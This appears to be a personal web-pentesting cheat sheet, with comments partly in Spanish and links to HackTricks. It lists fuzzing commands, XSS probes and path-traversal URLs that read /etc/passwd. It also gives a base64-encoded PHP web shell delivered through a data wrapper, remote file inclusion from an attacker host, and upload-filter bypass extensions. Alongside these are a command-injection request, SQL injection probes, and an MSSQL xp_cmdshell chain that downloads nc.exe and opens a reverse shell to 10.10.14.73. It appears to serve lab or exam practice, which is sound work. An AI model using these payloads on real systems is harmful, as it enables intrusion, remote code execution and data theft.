feroxbuster -u http://'<IP>'/ -x html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt -u http://'<IP>'/FUZZ
ffuf -c -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -u <http://fqdn.com/> -H "Host: FUZZ.fqdn.com" -fw 6
#To apis
/users/v1
/v2
...
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
<script>alert('test');</script>
https://book.hacktricks.xyz/pentesting-web/file-inclusion
Locales
<http://mountaindesserts.com/meteor/index.php?page=../etc/passwd>
<http://meteor/index.php?page=/etc/passwd>
<http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd>
A tener en cuenta la posibilidad de ejecutar el ataque Log Poisoning
PHP Wrappers
http://ip/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
<http://ip/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls>
Remotos
<http://ip/index.php?page=http://attacker-ip/rev.php>
https://book.hacktricks.xyz/pentesting-web/file-upload
Extensiones php validas para evadir restricciones
.php
.php3
.php4
.php5
.php7
.phtml
.pht
.phps (aunque generalmente muestra el código fuente en lugar de ejecutarlo)
.phar (PHP Archive files)
.pHP
...
Inclusión de archivos no ejecutables es posible sacarle partido cambiando el nombre e incluyendo rutas a id_rsa
https://book.hacktricks.xyz/pentesting-web/command-injection
curl -X POST --data 'Archive=git%3Bipconfig' <http://ip/archive>
https://book.hacktricks.xyz/pentesting-web/sql-injection
Detección
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
RevShell MSSQL
--SQL Revshell
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options',1
RECONFIGURE
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
-- RCE via xp_cmdshell
EXEC master..xp_cmdshell 'powershell -Command "(New-Object Net.WebClient).DownloadFile(''<http://10.10.14.73/nc.exe>'', ''%TEMP%\\nc.exe''); %TEMP%\\nc.exe 10.10.14.73 4444 -e powershell"'